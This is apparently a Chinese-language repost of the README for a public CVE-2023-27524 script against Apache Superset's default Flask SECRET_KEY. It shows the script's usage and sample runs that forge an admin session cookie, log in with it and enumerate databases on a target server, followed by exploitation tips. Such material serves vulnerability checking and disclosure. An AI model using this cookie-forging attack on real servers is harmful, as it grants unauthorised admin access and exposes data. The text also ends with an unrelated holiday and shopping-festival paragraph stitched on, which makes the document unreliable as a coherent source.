用于检查 Apache Superset 服务器是否使用不安全的默认配置运行的脚本 (CVE-2023-27524)。该脚本检查 Superset 服务器的会话 cookie 是否使用任何众所周知的默认 Flask SECRET_KEY 进行签名。
该--validate标志可用于通过使用 Superset API 枚举数据库来验证可利用性。
此处有更多详细信息:https: //www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset
% python3 CVE-2023-27524.py -husage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]optional arguments:-h, --help show this help message and exit--url URL, -u URL Base URL of Superset instance--id ID User ID to forge session cookie for, default=1--validate, -v Validate login--timeout TIMEOUT, -t TIMEOUTTime to wait before using forged session cookie, default=5s
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ekDecoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}Superset Version: 2.0.1Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validateGot session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}Superset Version: 2.0.1Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoUSleeping 5 seconds before using forged cookie to account for time drift...Got 302 on login, forged cookie appears to have been acceptedEnumerating databasesFound database examplesFound database PostgreSQLDone enumerating databases
如果脚本检测到正在使用的 SECRET_KEY 但无法验证可利用性,可能是因为:
目标服务器与 SSO 集成,用户 ID 不遵循自动递增格式(--id如果您知道,请尝试设置特定 user_id 的参数)
尚未配置用户
目标和您的机器之间的时间。Flask 会话 cookie 使用时间戳元素进行签名。尝试在代码中增加 5 秒的睡眠间隔。
项目地址:https://github.com/horizon3ai/CVE-2023-27524
国际劳动节又称“五一国际劳动节”“国际示威游行日”(英语:International Workers' Day,May Day),是世界上80多个国家的全国性节日。定在每年的五月一日。它是全世界劳动人民共同拥有的节日" 夏日消费节 ",进一步促进消费,助力实体。